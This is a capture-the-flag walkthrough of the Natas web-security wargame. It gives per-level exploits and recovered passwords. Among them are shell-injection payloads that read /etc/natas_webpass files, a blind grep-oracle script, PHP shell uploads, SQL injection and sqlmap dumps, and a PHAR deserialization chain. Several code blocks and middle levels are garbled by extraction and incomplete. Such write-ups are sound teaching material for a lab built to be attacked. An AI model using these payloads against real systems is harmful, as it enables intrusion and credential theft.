All the levels in Natas are about web.

The URL for each level is http://natas[level number].natas.labs.overthewire.org, and the username is natas[level number]. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.

# Level 0

You can find the password for the next level on this page.

The password gtVrDuiDfck831PqWsLEZy5gyDz1clto is in the source code of the page.

# Level 0 -> Level 1

You can find the password for the next level on this page, but rightclicking has been blocked!

The password ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi is in the source code of the page again.

# Level 1 -> Level 2

There is nothing on this page.

If we look at the source code, there is an image source in files/pixel.png. Access the directory and we can find users.txt, which contains the password sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14.

# Level 2 -> Level 3

There is nothing on this page

By accessing robots.txt, it shows that /s3cr3t/ is disallowed. And the password Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ is inside /s3cr3t/users.txt.

# Level 3 -> Level 4

Access disallowed. You are visiting from "" while authorized users should come only from “http://natas5.natas.labs.overthewire.org/"

We should access from http://natas5.natas.labs.overthewire.org/. There is a refresh button, if we push it, it will show that we are visiting from “http://natas4.natas.labs.overthewire.org/", and a Referer header is also contained in the request.

By changing it to http://natas5.natas.labs.overthewire.org/ in Burp Suite, we can get the password iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq.

# Level 4 -> Level 5

Access disallowed. You are not logged in

Change the cookie loggedin from 0 to 1, and we can get the password aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1.

# Level 5 -> Level 6

There is a field to summit password. From the source code, we can tell that it includes includes/secret.inc and make the comparison.

We can find the password 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 in includes/secret.inc.

# Level 6 -> Level 7

There are Home and About links to index.php?page=home and index.php?page=about separately. And from the source code we got the hint that the password is in /etc/natas_webpass/natas8.

By accessing http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8, we can get the password DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe.

# Level 7 -> Level 8

The page takes the input and make the comparsion. We can get the source code.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16  "; } else { print "Wrong secret"; } } ?> 

By using the following script, we can get the secret oubWYf2kBq.

 1 2 3 4 5 6 7 8   

Fill the blank with secret, and we can get the password W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl.

It says Find words containing: on the page. In the source code, we can find that it uses passthru("grep -i $key dictionary.txt"); to find key in dictionary.txt. If we input ;cat /etc/natas_webpass/natas10; as key, then we can get the password nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu. # Level 9 -> Level 10 It is the extension of previous level, but it adds preg_match('/[;|&]/',$key to filter ;, |, and &.

We can take . /etc/natas_webpass/natas11 # as input, and we can get the password U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK.

# Level 10 -> Level 11

Cookies are protected with XOR encryption
Background color:

By Viewing the source code, we can see that cookie is encrypted by $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");. What we can do is that find the key qw8J and encrypt $data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); as our new cookie, which is ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK, and we can get the password EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32  "no", "bgcolor"=>"#ffffff"); $defaultdata = json_encode($defaultdata); $key = ''; for($i=0;$i"yes", "bgcolor"=>"#ffffff");$new_cookie = base64_encode(xor_encrypt(json_encode($data))); echo($new_cookie); ?> 

# Level 11 -> Level 12

Choose a JPEG to upload (max 1KB):

We can upload an image file, and it will give us the path to that .jpg file.

But instead, we can also upload a .php file

 1 2 3   

After using Burp Suite to change .jpg to .php in the request, we can get the password jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY by accessing the path.

# Level 12 -> Level 13

For security reasons, we now only accept image files!
Choose a JPEG to upload (max 1KB):

It is an advanced version of previous level.

Add BM at the begin of the php file.

 1 2 3  BM 

And it will pass the filter exif_imagetype() to get the password Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1.

# Level 13 -> Level 14

It is a database, and we need to provide Username and Password.

We can try SQL injection. By typing " or "1" = "1 at password, we can get the password AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J.

# Level 14 -> Level 15

There is only a field to input Username and check if the user exists.

Check user natas16, and it gives us This user exists..

For this one, we can use sqlmap.

Execute sqlmap -u "http://natas15.natas.labs.overthewire.org/index.php" --string="This user exists" --auth-type=Basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --data="username=natas16" --level=5 —risk=3 —threads 2 --dbms=MySQL -D natas15 -T users -C username,password —dump, and we can get the password of natas16 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh.

# Level 15 -> Level 16

For security reasons, we now filter even more on certain characters
Find words containing:

This is the advanced version of Level 9 -> Level 10. More filtering are implemented.

We can use the following script.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21  import requests from requests.auth import HTTPBasicAuth auth = HTTPBasicAuth('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh') filtered = '' password = '' chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890' for char in chars: r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=acne$(grep ' + char + ' /etc/natas_webpass/natas17)', auth=auth) if 'acne' not in r.text: filtered = filtered + char print(filtered) for i in range(32): for char in filtered: r = requests.get('http://natas16.natas.labs.overthewire.org/?needle=acne$(grep ^' + password + char + ' /etc/natas_webpass/natas17)', auth=auth) if 'acne' not in r.text: password = password + char print(password) break 

The idea is that if we search for acne in dictionary.txt, it retuns acne.

First, $(grep ' + char + ' /etc/natas_webpass/natas17) will return the password if the character is in /etc/natas_webpass/natas17, and it will return nothing if the character is not in /etc/natas_webpass/natas17. So, searching for acne$(grep ' + char + ' /etc/natas_webpass/natas17) will return acne if char is not in /etc/natas_webpass/natas17, and return nothing if char is in /etc/natas_webpass/natas17. By doing so, we can know which characters are in the password.

Second, $(grep ^' + password + char + ' /etc/natas_webpass/natas17) will return the password if password + char is at the beginning of the password, and it will return nothing if they are not in the beginning of the password. So, we can test the letters in filtered one by one by acne$(grep ^' + password + char + ' /etc/natas_webpass/natas17), and we can concatenate the string to make out the password 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw.

# Level 16 -> Level 17

This one is similar to Level 14 -> Level 15. But it will not tell you anything about whether the user exist or not.

For this one, we can still use sqlmap.

Execute sqlmap -u "http://natas17.natas.labs.overthewire.org/index.php" --auth-type=Basic --auth-cred=natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw --data="username=natas18" --level=5 —risk=3 —threads 2 --dbms=MySQL -D natas17 -T users -C username,password —dump, and we can find the password xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP.

# Level 17 -> Level 18

Please login with your admin account to retrieve credentials for natas19.
Username:
Password:

From the source code, we can see that it create credentials using rand(1, 640).

By using ZAP Proxy, we fuzz PHPSESSID from 1 to 640, and we can find admin’s credential in one of them and get the password 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs.

# Level 18 -> Level 19

This page uses mostly the same code as the previous level, but session IDs are no longer sequential…
Please login with your admin account to retrieve credentials for natas20.
Username:
Password:

For this time, PHPSESSID is in a hex form. Convert it to hex we can get something as 167-admin, 245-admin …

We can login as admin by fuzzing with the payload in hex form.

And finally get the password eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF.

# Level 19 -> Level 20

You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.
Your name:
Change name

From the source code, the idea is that it writes username into a session file, and check if admin is in the file and the admin field is equal to 1.

We can use admin%0Aadmin%201 as payload, and we can get the password IFekPyrQXftziDEsUr3x21sYuahypdgJ.

# Level 20 -> Level 21

Note: this website is colocated with http://natas21-experimenter.natas.labs.overthewire.org
You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.

And in http://natas21-experimenter.natas.labs.overthewire.org, it looks like this.

I assume that they share the same php session, so I copy the session in http://natas21.natas.labs.overthewire.org and paste it to http://natas21-experimenter.natas.labs.overthewire.org.

I add admin=1 in the payload http://natas21-experimenter.natas.labs.overthewire.org/index.php?align=center&fontsize=80%&bgcolor=blue&admin=1&submit=Update, and refresh http://natas21.natas.labs.overthewire.org, and we can get the password chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ.

# Level 21 -> Level 22

Look at the source code, and we concludes that if revelio exists in GET, password will show up.

Use the command curl -X GET --user natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ "http://natas22.natas.labs.overthewire.org/index.php?revelio=1", and we can get the password D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE.

# Level 22 -> Level 23

Password:
Login

It requries a password to login.

There is a line of code if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )), so we can use 12iloveyou as payload, and we can get the password OsRmXFguozKpTZZ5X14zNO43379LZveg.

Password:
Login

";         while (){             print CGI::escapeHTML($_); } print " "; } }  It indeed makes a protection by checking if natas exists in the name of the path, what we can do is to append "" in our path to bypass this protection. By accessing http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20/etc/n%22%22atas_webpass/n%22%22atas30%3b, we can get the password wie9iexae0Daihohv8vuu3cei9wahf0e. # Level 29 -> Level 30 Username: Password: login From the source code, we can tell that it is written in perl.   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18  if ('POST' eq request_method && param('username') && param('password')){ my$dbh = DBI->connect( "DBI:mysql:natas30","natas30", "", {'RaiseError' => 1}); my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password')); my$sth = $dbh->prepare($query); $sth->execute(); my$ver = $sth->fetch(); if ($ver){ print "win!
"; print "here is your result:

We can parse ARGV in the request as a file, and insert command in the url. While the script run while (<$file>), it will take the file we indicate and print out its content. The modified request is as follows. Finally, we get the password no1vohsheCaiv3ieH4em1ahchisainge. # Level 31 -> Level 32 CSV2HTML We all like .csv files. But isn’t a nicely rendered and sortable table much cooler? This time you need to prove that you got code exec. There is a binary in the webroot that you need to execute. Select file to upload: Upload It looks exactly the same as previous level, however, using the same technique cannot get the password successfully. Instead, we need to execute the binary according to the hint. Parsing ARGV again, and take POST /index.pl/?ls%20-al%20.%20| HTTP/1.1 as the request, we can get the files in the directory. We are able to see a binary called getpassword, so take POST /index.pl/?./getpassword%20| HTTP/1.1 as the request, and we can get the password shoogeiGa2yee3de6Aex8uaXeech5eey. # Level 32 -> Level 33 Can you get it right? Upload Firmware Update: Upload File Here’s the source code.   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39  filename=$_POST["filename"]; if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) { echo "File is too big "; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) { echo "The update has been uploaded to: /natas33/upload/$this->filename
"; echo "Firmware upgrad initialised.
"; } else{ echo "There was an error uploading the file, please try again!
"; } } } function __destruct(){ // upgrade firmware at the end of this script // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)." if(getcwd() === "/") chdir("/natas33/uploads/"); if(md5_file($this->filename) ==$this->signature){ echo "Congratulations! Running firmware update: $this->filename "; passthru("php " .$this->filename); } else{ echo "Failur! MD5sum mismatch!
"; } } } ?> 

We can use PHP unserialization vulnerability to pass it.

First we create a file called pwn.php.

 1   

And then, we execute the php file test.php to create a .phar file pwn.phar.

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  startBuffering(); $phar->addFromString("pwn.txt", 'You are pwned');$phar->setStub(""); $o = new Executor();$phar->setMetadata($o);$phar->stopBuffering(); ?> 

Now, the preparation is done.

We upload the file pwn.php.

And upload the file pwn.phar.

Finally, send the previous request to repeater and substitue pwn.phar to phar://pwn.phar/pwn.txt to make md5_file() check using the provided Executer, which contains $filename = “pwn.php” and$signature = True, and we can pass the protection and get the password shu5ouSu6eicielahhae0mohd4ui5uig.

# Level 33 -> Level 34

Congratulations! You have reached the end… for now.